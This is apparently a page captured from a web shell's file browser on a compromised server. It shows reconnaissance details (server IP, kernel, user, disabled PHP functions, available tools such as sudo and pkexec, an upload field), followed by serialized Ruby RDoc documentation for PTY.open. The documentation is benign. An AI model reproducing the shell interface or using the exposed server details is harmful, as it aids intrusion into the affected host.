| Server IP : 162.214.74.102 / Your IP : 216.73.217.21 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/opt/cpanel/ea-ruby24/root/usr/share/ri/system/PTY/ |
Upload File : |
U:RDoc::AnyMethod[iI" open:ETI"PTY::open;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"'Allocates a pty (pseudo-terminal).;To:RDoc::Markup::BlankLine o;
; [I"LIn the block form, yields two arguments <tt>master_io, slave_file</tt> ;TI"8and the value of the block is returned from +open+.;T@o;
; [I"OThe IO and File are both closed after the block completes if they haven't ;TI"been already closed.;T@o:RDoc::Markup::Verbatim; [
I"PTY.open {|master, slave|
;TI"4 p master #=> #<IO:masterpty:/dev/pts/1>
;TI"+ p slave #=> #<File:/dev/pts/1>
;TI"% p slave.path #=> "/dev/pts/1"
;TI"}
;T:@format0o;
; [I"IIn the non-block form, returns a two element array, <tt>[master_io, ;TI"slave_file]</tt>.;T@o;; [I"master, slave = PTY.open
;TI":# do something with master for IO, or the slave file
;T;
0o;
; [I"%The arguments in both forms are:;T@o:RDoc::Markup::List:
@type: NOTE:@items[o:RDoc::Markup::ListItem:@label[I"+master_io+;T; [o;
; [I"%the master of the pty, as an IO.;To;;[I"+slave_file+;T; [o;
; [I"7the slave of the pty, as a File. The path to the ;TI"7terminal device is available via +slave_file.path+;T@o;
; [I"6IO#raw! is usable to disable newline conversions:;T@o;; [
I"require 'io/console'
;TI"PTY.open {|m, s|
;TI" s.raw!
;TI" ...
;TI"};T;
0:
@fileI"ext/pty/pty.c;T:0@omit_headings_from_table_of_contents_below0I"`PTY.open => [master_io, slave_file]
PTY.open {|master_io, slave_file| ... } => block value
;T0[ I"();T@DFI"PTY;TcRDoc::NormalModule00